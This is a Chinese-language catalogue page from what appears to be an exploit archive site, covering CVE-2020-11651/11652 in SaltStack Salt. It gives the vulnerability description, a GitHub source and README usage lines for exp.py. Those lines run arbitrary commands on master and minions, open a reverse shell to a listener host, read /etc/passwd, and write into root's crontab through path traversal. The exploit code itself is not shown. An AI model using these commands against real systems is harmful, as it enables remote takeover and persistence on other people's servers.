目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

目标: 1000 元 · 已筹: 1000 元

100.0%
请我们喝杯咖啡

CVE-2020-11651 PoC — SaltStack Salt 安全漏洞

来源
https://github.com/5l1v3r1/SaltStack-Exp-1
关联漏洞
标题:SaltStack Salt 安全漏洞 (CVE-2020-11651)
Description:SaltStack Salt是SaltStack公司的一套开源的用于管理基础架构的工具。该工具提供配置管理、远程执行等功能。 SaltStack Salt 2019.2.4之前版本和3000.2之前的3000.x版本中存在安全漏洞，该漏洞源于salt-master进程的ClearFuncs类没有正确验证方法的调用。远程攻击者可利用该漏洞检索用户令牌或执行任意命令。
Description
CVE-2020-11651&&CVE-2020-11652 EXP
介绍
# SaltStack-Exp
CVE-2020-11651&&CVE-2020-11652 EXP

```
Exec-Master:
python exp.py --exec-choose master --exec-cmd "whoami"

Exec-Minions:
python exp.py --exec-choose minions --exec-cmd "whoami"

GetShell:
python exp.py --shell-LHOST 8.8.8.8 --shell-LPORT 4444

ReadFile:
python exp.py --read /etc/passwd

UploadFile:
python exp.py --upload-src "/test/root" --upload-dest "../../../../../../../../var/spool/cron/crontabs/root"
```
文件快照

 [4.0K]  /data/pocs/7e62488d78efe2a9c68ddc4c1658d40b835f3561
├── [6.7K]  exp.py
└── [ 439]  README.md

0 directories, 2 files
神龙机器人已为您缓存
备注
    1. 建议优先通过来源进行访问。
    2. 如果因为来源失效或无法访问，请发送邮件到 f.jinxu#gmail.com 索取本地快照（把 # 换成 @）。
    3. 神龙已为您对 POC 代码进行快照，为了长期维护，请考虑为本地 POC 付费/捐赠，感谢您的支持。